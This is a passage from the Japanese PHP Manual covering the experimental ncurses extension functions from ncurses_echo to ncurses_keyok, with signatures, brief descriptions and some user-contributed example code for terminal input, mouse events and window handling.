この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

エコーモードを有効にします。 ユーザーがタイプした文字がすべて ncurses_getch() によってエコーされます。

返り値

成功した場合に false、何らかのエラーが発生した場合に true を返します。

参考

  • エコーモードを無効にするには ncurses_noecho() - キーボード入力エコーを無効にする を使用します。

User Contributed Notes

There are no user contributed notes for this page.


リフレッシュを行いつつ 1 文字出力する

  • ≪ ncurses_echo
  • ncurses_end ≫
  • PHP Manual
  • Ncurses 関数
  • リフレッシュを行いつつ 1 文字出力する

ncurses_echochar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echochar — リフレッシュを行いつつ 1 文字出力する

説明

ncurses_echochar ( int $character ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

character

User Contributed Notes

There are no user contributed notes for this page.


ncurses を終了し、画面を消去する

  • ≪ ncurses_echochar
  • ncurses_erase ≫
  • PHP Manual
  • Ncurses 関数
  • ncurses を終了し、画面を消去する

ncurses_end

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_end — ncurses を終了し、画面を消去する

説明

ncurses_end ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末画面を消去する

  • ≪ ncurses_end
  • ncurses_erasechar ≫
  • PHP Manual
  • Ncurses 関数
  • 端末画面を消去する

ncurses_erase

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erase — 端末画面を消去する

説明

ncurses_erase ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末の画面を空白で埋めます。

作成された空白の背景処理は、ncurses_bkgd() で設定したものとなります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ncurses_bkgd() - 端末画面の背景属性を設定する
  • ncurses_clear() - スクリーンをクリアする

User Contributed Notes

There are no user contributed notes for this page.


現在の erase 文字を返す

  • ≪ ncurses_erase
  • ncurses_filter ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の erase 文字を返す

ncurses_erasechar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erasechar — 現在の erase 文字を返す

説明

ncurses_erasechar ( ) : string
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在の erase 文字を返します。

返り値

現在の erase 文字を文字列で返します。

参考

  • ncurses_killchar() - 現在の行削除文字を返す

User Contributed Notes

There are no user contributed notes for this page.


iniscr() および newterm() の LINES を 1 に設定する

  • ≪ ncurses_erasechar
  • ncurses_flash ≫
  • PHP Manual
  • Ncurses 関数
  • iniscr() および newterm() の LINES を 1 に設定する

ncurses_filter

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_filter — iniscr() および newterm() の LINES を 1 に設定する

説明

ncurses_filter ( ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


端末画面をフラッシュする(ビジュアルベル)

  • ≪ ncurses_filter
  • ncurses_flushinp ≫
  • PHP Manual
  • Ncurses 関数
  • 端末画面をフラッシュする(ビジュアルベル)

ncurses_flash

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flash — 端末画面をフラッシュする(ビジュアルベル)

説明

ncurses_flash ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

画面をフラッシュします。 もしそれができなかった場合は、音声の警告(ベル)を送信します。

返り値

成功した場合に false、そうでない場合に true を返します。

参考

  • ncurses_beep() - 端末のビープを鳴らす

User Contributed Notes

There are no user contributed notes for this page.


キーボード入力バッファをフラッシュする

  • ≪ ncurses_flash
  • ncurses_getch ≫
  • PHP Manual
  • Ncurses 関数
  • キーボード入力バッファをフラッシュする

ncurses_flushinp

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flushinp — キーボード入力バッファをフラッシュする

説明

ncurses_flushinp ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

タイプされた内容のうち、 まだプログラムで読み込まれていないものををすべて捨てます。

返り値

成功した場合に false、それ以外の場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


キーボードから 1 文字読み込む

  • ≪ ncurses_flushinp
  • ncurses_getmaxyx ≫
  • PHP Manual
  • Ncurses 関数
  • キーボードから 1 文字読み込む

ncurses_getch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getch — キーボードから 1 文字読み込む

説明

ncurses_getch ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

Anonymous 11-Mar-2014 09:50
ncurses_getch() will block if there is no input available. Using fgets() together with stream_set_blocking() has been proposed for non-blocking input, however, fgets() returns escape sequences for cursor, function, and other special keys. Interpreting these is not trivial as the escape sequences depend on the terminal/emulation used.

A possible solution is to use stream_select() to find out whether input is available and then read it with ncurses_getch().

<?php
function getch_nonblock($timeout) {
    $read = array(STDIN);
    $null = null;    // stream_select() uses references, thus variables are necessary for the first 3 parameters
    if(stream_select($read,$null,$null,floor($timeout / 1000000),$timeout % 1000000) != 1) return null;
    return ncurses_getch();
}

while(true) {
    $key = getch_nonblock(1000000);
    if(is_null($key)) {
        // do something useful here
        continue;
    }
    if($key == NCURSES_KEY_F10) break;    // Quit on F10
}
?>

Low timeout values can yield high CPU usage of your script, so set the timeout as high as possible for your application.
petr at hroch dot info 14-Nov-2006 02:11
While function ncurses_nodelay() is still not implemented and if you need a non-blocking getch,
following code might help.

<?php
$init = ncurses_init();
$full = ncurses_newwin (0,0,0,0);
ncurses_wborder($full,0,0,0,0,0,0,0,0);
ncurses_wrefresh($full);

$running = true;
$fp = fopen("php://stdin","r");     //open direct input stream for reading
stream_set_blocking($fp,0);        //set non-blocking mode

while ($running) {
  while (($buf = fgets($fp, 4096)) != false) {  //fgets is required if we want to handle escape sequenced keys
     $buffer .= $buf;
  }
  if ($buffer != "") {
     switch ($buffer) {
       case " ": {            //exit on space key
         ncurses_end();
        exit;
       }
       default: {
         ncurses_mvwaddstr($full,2,2,"$buffer");  //display input
       }
     }
    $buffer = ""; //empty buffer
   }

  // You can do something interesting here, while we're not waiting for an input
  ncurses_mvwaddstr($full,4,4,microtime(true));
  ncurses_wrefresh($full);

  usleep(1); //reduce cpu usage
}
?>
php at kormoc dot com 22-Nov-2005 03:45
After banging my head over this for awhile, I discovered, you must use ncurses_keypad($window, true); to enable the arrow keys and f keys to work correctly.
joeldegan AT yahoo.com 16-Dec-2002 12:29
When using getch to capture KEY_* events remember that the keypad is arranged like this:

+-----+------+-------+
| A1  |  up  |  A3   |
+-----+------+-------+
|left |  B2  | right |
+-----+------+-------+
| C1  | down |    C3  |
+-----+------+-------+

You use has_key to capture these and act upon them.

man curs_getch for more info.
pablorNOSPAM at nkstudios dot net 13-Sep-2002 01:40
A custom php ncurses_getstr function..

<?php

function ncurses_getstr($strlen){
    for ($x=0;$x<$strlen;$x++){
        $string .= chr(ncurses_getch());
    }
    return $string;
}

ncurses_init();
ncurses_addstr(ncurses_getstr(6));
ncurses_refresh();
ncurses_getch();
ncurses_end();

?>


ウィンドウの大きさを返す

  • ≪ ncurses_getch
  • ncurses_getmouse ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウの大きさを返す

ncurses_getmaxyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmaxyx — ウィンドウの大きさを返す

説明

ncurses_getmaxyx ( resource $window , int &$y , int &$x ) : void
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

指定したウィンドウ window の水平方向・垂直方向の大きさを取得します。

変数は参照渡しとする必要があり、 ユーザーが端末の大きさを変更した際にこの変数が更新されます。

パラメータ

window

調べるウィンドウ。

y

ウィンドウの高さが設定されます。

x

ウィンドウの幅が設定されます。

返り値

値を返しません。

User Contributed Notes

vic at lfs dot net 11-Oct-2008 10:33
TIP 1: If you want to know the size of the main (default) ncurses screen, you can use the defined constant STDSCR
eg. ncurses_getmaxyx (STDSCR, $Height, $Width);
No need to create a window, get its size and delete it again (not sure if this works on php versions < 5 though).

TIP 2 : If you are creating a PHP console application and want to support terminal resizing and if you find that the ncurses screen doesn't actually resize when you resize your terminal (which was the case for me (on FreeBSD 5.3 at least)) you should end the current ncurses session and restart it again. Very easy to do this if you create your own ncurses class with a nice con- and destructor.
superzouz at hotmail dot com 26-Jun-2007 05:36
After some headscratching as to why my script was not detecting the terminal being resized... i discovered that the function would not report the new size of the terminal until the window is refreshed.
So this is the code that I am using to get the size of the screen:

$fullscreen = ncurses_newwin ( 0, 0, 0, 0);

// everytime you want to find out the size of the screen, write the following 2 lines:
ncurses_wrefresh($fullscreen);
ncurses_getmaxyx ($fullscreen, $y, $x );


マウスイベントを読みこむ

  • ≪ ncurses_getmaxyx
  • ncurses_getyx ≫
  • PHP Manual
  • Ncurses 関数
  • マウスイベントを読みこむ

ncurses_getmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmouse — マウスイベントを読みこむ

説明

ncurses_getmouse ( array &$mevent ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses_getmouse() は、 キューからマウスイベントを読み込みます。

パラメータ

mevent

イベントのオプションを指定します。 これは配列への参照として渡されます(以下の例を参照ください)。

成功した場合、以下のキーを持つ連想配列が返されます。

  • "id" : 複数デバイスを識別する ID。

  • "x" : 画面上の相対的な x 位置(文字単位)。

  • "y" : 画面上の相対的な y 位置(文字単位)。

  • "z" : 現在はサポートされていません。

  • "mmask" : マウスアクション。

返り値

指定したウィンドウでマウスイベントが実際に見える場合に false、そうでない場合に true を返します。

例

例1 ncurses_getmouse() の例

<?php
switch (ncurses_getch()){
  case NCURSES_KEY_MOUSE:
    if (!ncurses_getmouse($mevent)){
      if ($mevent["mmask"] & NCURSES_MOUSE_BUTTON1_PRESSED){
        $mouse_x = $mevent["x"]; // マウスの位置を保存します
        $mouse_y = $mevent["y"];
      }
    }
  break;

  default:
    /* .... */
}
?>

参考

  • ncurses_ungetmouse() - マウスイベントをキューにプッシュする

User Contributed Notes

m dot quinton at gmail dot com 26-Sep-2005 04:05
a working example with mouse, 3 windows  (need to be completed, but it works) ...

<?php

error_reporting(E_ALL);

function win($w, $h, $x, $y, $txt){
    // now lets create a small window
    $win = ncurses_newwin($w, $h, $x, $y);
    // border our small window.
    ncurses_wborder($win,0,0, 0,0, 0,0, 0,0);
    # ncurses_wrefresh($win);// paint both windows
    ncurses_refresh();// paint both windows

    // move into the small window and write a string
    ncurses_mvwaddstr($win, 0, 1, " $txt ");
    ncurses_mvwaddstr($win, 1, 1, "($w, $h, $x, $y)");

    // show our handiwork and refresh our small window
    ncurses_wrefresh($win);

    return $win;
}

// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window

$win0 = win(0, 0, 0, 0, 'win0');
$win1 = win(10, 30, 7, 25, 'win1');
$win2 = win(10, 30, 20, 25, 'win2');
$info = win(15, 20, 2, 2, 'info');

// Draw everything so far
// ncurses_refresh();

$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
# $newmask = NCURSES_ALL_MOUSE_EVENTS;

$mask = ncurses_mousemask($newmask, &$oldmask);
$events = array();

while(1){

    ncurses_wmove($info, 1,1);
    $ch = ncurses_getch();

    ncurses_wclear($info);
    ncurses_refresh();// paint both windows
    ncurses_wborder($info,0,0, 0,0, 0,0, 0,0);
    ncurses_refresh();// paint both windows
    ncurses_mvwaddstr($win, 0, 1, " info ");
    ncurses_refresh();// paint both windows

    switch($ch){

    case NCURSES_KEY_MOUSE:

        if(ncurses_getmouse($mevent)){
            $events[] = $mevent;

            ncurses_mvwaddstr($info, 2, 1, " mouse event   ");
            ncurses_mvwaddstr($info, 3, 1, " ({$mevent['x']}/{$mevent['y']}) ");
            ncurses_mvwaddstr($info, 4, 1, " ({$mevent['mmask']}) ");

            ncurses_wrefresh($info);
        }
        break;

    case chr('q'):
        break 2;

    default:

        if($ch > 0x40)
            $txt = chr($ch) . " $ch ";
        else
            $txt = '.' . " $ch";

        ncurses_mvwaddstr($info, 1, 1, " $txt   ");
        ncurses_wrefresh($info);

    }

    if(chr($ch) == 'q')
        break;
}

ncurses_end();// clean up our screen

print_r($events);

?>


ウィンドウ内の現在のカーソル位置を返す

  • ≪ ncurses_getmouse
  • ncurses_halfdelay ≫
  • PHP Manual
  • Ncurses 関数
  • ウィンドウ内の現在のカーソル位置を返す

ncurses_getyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getyx — ウィンドウ内の現在のカーソル位置を返す

説明

ncurses_getyx ( resource $window , int &$y , int &$x ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

window

y

x

User Contributed Notes

There are no user contributed notes for this page.


端末をハーフディレイモードにする

  • ≪ ncurses_getyx
  • ncurses_has_colors ≫
  • PHP Manual
  • Ncurses 関数
  • 端末をハーフディレイモードにする

ncurses_halfdelay

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_halfdelay — 端末をハーフディレイモードにする

説明

ncurses_halfdelay ( int $tenth ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

tenth

User Contributed Notes

There are no user contributed notes for this page.


カラー端末かどうか確認する

  • ≪ ncurses_halfdelay
  • ncurses_has_ic ≫
  • PHP Manual
  • Ncurses 関数
  • カラー端末かどうか確認する

ncurses_has_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_colors — カラー端末かどうか確認する

説明

ncurses_has_colors ( ) : bool

端末がカラー表示機能を持つかどうかを調べます。 この関数を使用すると、端末に依存しないプログラムを書くことができます。 この関数をコールする前に、 ncurses_init() で ncurses を初期化しておく必要があります。

パラメータ

この関数にはパラメータはありません。

返り値

端末がカラー表示機能を持っている場合に true、持っていない場合に false を返します。

例

例1 指定した色で文字列を画面に書き込む

<?php
ncurses_init();

// 端末が色をサポートしている場合に、初期化してアクティブな色を設定します
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// 指定した位置に文字列を書き込みます
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// 出力をフラッシュします
ncurses_refresh();

ncurses_end();
?>

参考

  • ncurses_can_change_color() - 端末の色を変更可能かどうか確認する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


挿入/削除機能の有無を確認する

  • ≪ ncurses_has_colors
  • ncurses_has_il ≫
  • PHP Manual
  • Ncurses 関数
  • 挿入/削除機能の有無を確認する

ncurses_has_ic

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_ic — 挿入/削除機能の有無を確認する

説明

ncurses_has_ic ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末が挿入/削除機能を持つかどうかを調べます。

返り値

端末が挿入/削除機能を持つ場合に true、それ以外の場合に false を返します。

参考

  • ncurses_has_il() - 行挿入/削除機能の有無を確認する

User Contributed Notes

There are no user contributed notes for this page.


行挿入/削除機能の有無を確認する

  • ≪ ncurses_has_ic
  • ncurses_has_key ≫
  • PHP Manual
  • Ncurses 関数
  • 行挿入/削除機能の有無を確認する

ncurses_has_il

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_il — 行挿入/削除機能の有無を確認する

説明

ncurses_has_il ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

端末が行挿入/削除機能を持つかどうかを調べます。

返り値

端末が行挿入/削除機能を持つ場合に true、それ以外の場合に false を返します。

参考

  • ncurses_has_ic() - 挿入/削除機能の有無を確認する

User Contributed Notes

There are no user contributed notes for this page.


端末キーボードにおいてファンクションキーの有無を調べる

  • ≪ ncurses_has_il
  • ncurses_hide_panel ≫
  • PHP Manual
  • Ncurses 関数
  • 端末キーボードにおいてファンクションキーの有無を調べる

ncurses_has_key

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_key — 端末キーボードにおいてファンクションキーの有無を調べる

説明

ncurses_has_key ( int $keycode ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

keycode

User Contributed Notes

There are no user contributed notes for this page.


パネルをスタックから取り除き、見えなくする

  • ≪ ncurses_has_key
  • ncurses_hline ≫
  • PHP Manual
  • Ncurses 関数
  • パネルをスタックから取り除き、見えなくする

ncurses_hide_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hide_panel — パネルをスタックから取り除き、見えなくする

説明

ncurses_hide_panel ( resource $panel ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

panel

User Contributed Notes

There are no user contributed notes for this page.


現在位置に属性付きの文字を用いて最大 n 文字長の線を水平に描画する

  • ≪ ncurses_hide_panel
  • ncurses_inch ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置に属性付きの文字を用いて最大 n 文字長の線を水平に描画する

ncurses_hline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hline — 現在位置に属性付きの文字を用いて最大 n 文字長の線を水平に描画する

説明

ncurses_hline ( int $charattr , int $n ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


現在位置の文字と属性を取得する

  • ≪ ncurses_hline
  • ncurses_init_color ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置の文字と属性を取得する

ncurses_inch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_inch — 現在位置の文字と属性を取得する

説明

ncurses_inch ( ) : string
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在位置の文字を返します。

返り値

文字を返します。

User Contributed Notes

There are no user contributed notes for this page.


端末の色を定義する

  • ≪ ncurses_inch
  • ncurses_init_pair ≫
  • PHP Manual
  • Ncurses 関数
  • 端末の色を定義する

ncurses_init_color

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_color — 端末の色を定義する

説明

ncurses_init_color ( int $color , int $r , int $g , int $b ) : int

指定した色を定義/再定義します。この関数がコールされると、 画面上に存在するその色の部分が即時に新しい定義に変わります。

色機能が端末でサポートされており、かつこの関数をコールする前に ncurses_start_color() で初期化されている必要があります。 さらに、端末が色の変更機能を持っている必要があります。これを調べるには ncurses_can_change_color() を使用します。

パラメータ

color

再定義したい色の番号。定義済みの色定数のいずれかとなるでしょう。

r

赤コンポーネントの値。 0 から 1000 までの値となります。

g

緑コンポーネントの値。 0 から 1000 までの値となります。

b

青コンポーネントの値。 0 から 1000 までの値となります。

返り値

関数が成功した場合は -1、 ncurses や端末の色機能の初期化ができていない場合、 端末に色の変更機能がない場合は 0 を返します。

参考

  • ncurses_color_content() - 色の RGB 値を取得する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


色ペアを定義する

  • ≪ ncurses_init_color
  • ncurses_init ≫
  • PHP Manual
  • Ncurses 関数
  • 色ペアを定義する

ncurses_init_pair

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_pair — 色ペアを定義する

説明

ncurses_init_pair ( int $pair , int $fg , int $bg ) : int

前景色と背景色の色ペアを定義/再定義します。 色ペアが事前に初期化されている場合は、 画面が再描画されて即時に新しい定義が反映されます。

この関数をコールする前に、 ncurses_start_color() で色機能を初期化しておく必要があります。 最初の色ペア (色ペア 0) はデフォルトで黒地に白となっていますが、 ncurses_assume_default_colors() で変更することも可能です。

パラメータ

pair

定義したい色ペアの番号。

fg

色ペアの前景色。 定義済みの色 のいずれか、あるいは端末に色変更機能がある場合に ncurses_init_color() で定義したものとなります。

bg

色ペアの背景色。 定義済みの色 のいずれか、あるいは端末に色変更機能がある場合に ncurses_init_color() で定義したものとなります。

返り値

関数が成功した場合は -1、 ncurses や端末の色機能の初期化ができていない場合は 0 を返します。

注意

既存の色で色ペアを定義する際には、色の変更機能は不要であることに注意しましょう。 この機能が必要となるのは、色自体の定義 (赤、緑、青コンポーネント) を ncurses_init_color() で変更したい場合です。

例

例1 指定した色で文字列を画面に書き込む

<?php
ncurses_init();

// 端末が色をサポートしている場合に、初期化してアクティブな色を設定します
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// 指定した位置に文字列を書き込みます
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// 出力をフラッシュします
ncurses_refresh();

ncurses_end();
?>

参考

  • ncurses_pair_content() - 色ペアの前景色と背景色を取得する
  • ncurses_start_color() - 色機能を初期化する

User Contributed Notes

There are no user contributed notes for this page.


ncurses を初期化する

  • ≪ ncurses_init_pair
  • ncurses_insch ≫
  • PHP Manual
  • Ncurses 関数
  • ncurses を初期化する

ncurses_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init — ncurses を初期化する

説明

ncurses_init ( ) : void

ncurses インターフェイスを初期化します。 必ず、その他の ncurses 関数の前に使用する必要があります。

プログラムを終了する前に、必ず ncurses_end() をコールしなければならないことに注意しましょう。 そうしないと、端末を適切な非ビジュアルモードに戻すことができません。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • ncurses_end() - ncurses を終了し、画面を消去する

User Contributed Notes

There are no user contributed notes for this page.


文字を挿入し、現在位置にある文字を含む残りの行を移動する

  • ≪ ncurses_init
  • ncurses_insdelln ≫
  • PHP Manual
  • Ncurses 関数
  • 文字を挿入し、現在位置にある文字を含む残りの行を移動する

ncurses_insch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insch — 文字を挿入し、現在位置にある文字を含む残りの行を移動する

説明

ncurses_insch ( int $character ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

character

User Contributed Notes

There are no user contributed notes for this page.


現在の行の後に複数の行を挿入し、スクロールダウンする (負の数を指定すると削除し、スクロールアップする)

  • ≪ ncurses_insch
  • ncurses_insertln ≫
  • PHP Manual
  • Ncurses 関数
  • 現在の行の後に複数の行を挿入し、スクロールダウンする (負の数を指定すると削除し、スクロールアップする)

ncurses_insdelln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insdelln — 現在の行の後に複数の行を挿入し、スクロールダウンする (負の数を指定すると削除し、スクロールアップする)

説明

ncurses_insdelln ( int $count ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

count

User Contributed Notes

There are no user contributed notes for this page.


行を挿入し、残りの部分をスクロールダウンする

  • ≪ ncurses_insdelln
  • ncurses_insstr ≫
  • PHP Manual
  • Ncurses 関数
  • 行を挿入し、残りの部分をスクロールダウンする

ncurses_insertln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insertln — 行を挿入し、残りの部分をスクロールダウンする

説明

ncurses_insertln ( ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在の行の上に新しい行を挿入します。いちばん下の行は失われます。

User Contributed Notes

There are no user contributed notes for this page.


現在位置に文字列を挿入し、残りの行を右に移動する

  • ≪ ncurses_insertln
  • ncurses_instr ≫
  • PHP Manual
  • Ncurses 関数
  • 現在位置に文字列を挿入し、残りの行を右に移動する

ncurses_insstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insstr — 現在位置に文字列を挿入し、残りの行を右に移動する

説明

ncurses_insstr ( string $text ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

text

User Contributed Notes

There are no user contributed notes for this page.


端末画面から文字列を読み込む

  • ≪ ncurses_insstr
  • ncurses_isendwin ≫
  • PHP Manual
  • Ncurses 関数
  • 端末画面から文字列を読み込む

ncurses_instr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_instr — 端末画面から文字列を読み込む

説明

ncurses_instr ( string &$buffer ) : int
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

現在の位置から行末までを読み込み、その文字数を返します。

パラメータ

buffer

読み込んだ文字列。文字の属性は削除されます。

返り値

文字の数を返します。

User Contributed Notes

There are no user contributed notes for this page.


Ncurses が endwin モードの場合、通常の画面出力が実行可能

  • ≪ ncurses_instr
  • ncurses_keyok ≫
  • PHP Manual
  • Ncurses 関数
  • Ncurses が endwin モードの場合、通常の画面出力が実行可能

ncurses_isendwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_isendwin — Ncurses が endwin モードの場合、通常の画面出力が実行可能

説明

ncurses_isendwin ( ) : bool
警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

ncurses が endwin モードであるかどうかを調べます。

返り値

ncurses_end() がコールされた後に 続けて ncurses_wrefresh() がコールされていない場合に true、それ以外の場合に false を返します。

参考

  • ncurses_end() - ncurses を終了し、画面を消去する
  • ncurses_wrefresh() - 端末画面のウインドウをリフレッシュする

User Contributed Notes

There are no user contributed notes for this page.


キーコードを有効または無効にする

  • ≪ ncurses_isendwin
  • ncurses_keypad ≫
  • PHP Manual
  • Ncurses 関数
  • キーコードを有効または無効にする

ncurses_keyok

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_keyok — キーコードを有効または無効にする

説明
